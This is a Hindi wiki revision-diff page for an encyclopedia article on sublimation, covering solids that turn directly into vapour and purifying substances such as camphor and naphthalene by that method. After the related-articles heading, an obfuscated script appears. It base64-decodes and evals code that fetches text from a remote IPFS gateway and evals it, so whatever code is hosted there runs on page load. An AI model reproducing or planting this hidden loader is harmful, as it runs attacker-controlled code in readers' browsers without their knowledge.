"ऊर्ध्वपातन" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति")
 
(4 सदस्यों द्वारा किये गये बीच के 4 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
([[अंग्रेज़ी भाषा|अंग्रेज़ी]]:Sublimation) [[रसायन विज्ञान]] में ऊर्ध्वपातन विधि द्वारा दो ऐसे [[ठोस|ठोसों]] के [[मिश्रण]] को अलग करते है, जिसमें एक ठोस ऊर्ध्वपातित हो, दूसरा नहीं। इस विधि से कपूर, [[नेफ़्थलीन]], [[अमोनियम क्लोराइड]], [[एइंथ्रासीन]] आदि को अलग करते हैं। <br />
+
([[अंग्रेज़ी भाषा|अंग्रेज़ी]]:Sublimation) कुछ [[पदार्थ]] गर्म करने पर सीधे [[ठोस]] रूप से [[गैस]] बन जाते हैं, इसे ऊर्ध्वपातन कहते हैं। जैसे- [[आयोडिन]], कपूर आदि। सामान्यतः ठोस पदार्थों को गर्म करने पर वे [[द्रव]] अवस्था में परिवर्तित होता हैं और उसके पश्चात्‌ गैसीय अवस्था में, लेकिन कुछ ठोस पदार्थ ऐसे होते हैं; जिन्हें गर्म किये जाने पर वे द्रव अवस्था में आने के बदले सीधे वाष्ण में परिणत हो जाते हैं और वाष्ण को ठंडा किये जाने पर पुनः ठोस अवस्था में हो जाते हैं।
कुछ [[पदार्थ]] गर्म करने पर सीधे ठोस रूप से [[गैस]] बन जाते हैं, इसे ऊर्ध्वपातन कहते हैं। जैसे- [[आयोडीन]], कपूर आदि।
+
:गर्म करने पर
 +
ठोस पदार्थ ←→ वाष्ण
 +
:ठंडा करने पर
 +
ऐसे पदार्थों को ऊर्ध्वपातन कहा जाता है व इस प्रकार की क्रिया ऊर्ध्वपातन कहलाती है। [[रसायन विज्ञान]] में ऊर्ध्वपातन विधि द्वारा दो ऐसे ठोसों के [[मिश्रण]] को अलग करते हैं, जिसमें एक ठोस ऊर्ध्वपातित हो, दूसरा नहीं। ऐसे ठोसों के मिश्रण को गर्म करने पर ऊर्ध्वपातन ठोस सिधे वाष्ण अवस्था में परिवर्तित हो जाता है। इस वाष्ण को अलग ठंडा कर लिया जाता है। इस प्रकार दोनों ठोस पृथक्‌ हो जाते हैं। इस विधि के द्वारा कपूर, नेफ्थलीन, अमोनियम कलोराइड, एंथ्रासीन, [[बेंज़ोइक अम्ल]] आदि पदार्थ शुद्ध किये जाते हैं।
  
{{प्रचार}}
 
 
{{लेख प्रगति
 
{{लेख प्रगति
|आधार=आधार1
+
|आधार=  
|प्रारम्भिक=
+
|प्रारम्भिक=प्रारम्भिक1
 
|माध्यमिक=
 
|माध्यमिक=
 
|पूर्णता=
 
|पूर्णता=
 
|शोध=
 
|शोध=
 
}}
 
}}
 +
==संबंधित लेख==
 +
{{रसायन विज्ञान}}
 
[[Category:रसायन विज्ञान]]
 
[[Category:रसायन विज्ञान]]
 
[[Category:विज्ञान_कोश]]
 
[[Category:विज्ञान_कोश]]
 
__INDEX__
 
__INDEX__

11:52, 13 फ़रवरी 2015 के समय का अवतरण

(अंग्रेज़ी:Sublimation) कुछ पदार्थ गर्म करने पर सीधे ठोस रूप से गैस बन जाते हैं, इसे ऊर्ध्वपातन कहते हैं। जैसे- आयोडिन, कपूर आदि। सामान्यतः ठोस पदार्थों को गर्म करने पर वे द्रव अवस्था में परिवर्तित होता हैं और उसके पश्चात्‌ गैसीय अवस्था में, लेकिन कुछ ठोस पदार्थ ऐसे होते हैं; जिन्हें गर्म किये जाने पर वे द्रव अवस्था में आने के बदले सीधे वाष्ण में परिणत हो जाते हैं और वाष्ण को ठंडा किये जाने पर पुनः ठोस अवस्था में हो जाते हैं।

गर्म करने पर

ठोस पदार्थ ←→ वाष्ण

ठंडा करने पर

ऐसे पदार्थों को ऊर्ध्वपातन कहा जाता है व इस प्रकार की क्रिया ऊर्ध्वपातन कहलाती है। रसायन विज्ञान में ऊर्ध्वपातन विधि द्वारा दो ऐसे ठोसों के मिश्रण को अलग करते हैं, जिसमें एक ठोस ऊर्ध्वपातित हो, दूसरा नहीं। ऐसे ठोसों के मिश्रण को गर्म करने पर ऊर्ध्वपातन ठोस सिधे वाष्ण अवस्था में परिवर्तित हो जाता है। इस वाष्ण को अलग ठंडा कर लिया जाता है। इस प्रकार दोनों ठोस पृथक्‌ हो जाते हैं। इस विधि के द्वारा कपूर, नेफ्थलीन, अमोनियम कलोराइड, एंथ्रासीन, बेंज़ोइक अम्ल आदि पदार्थ शुद्ध किये जाते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>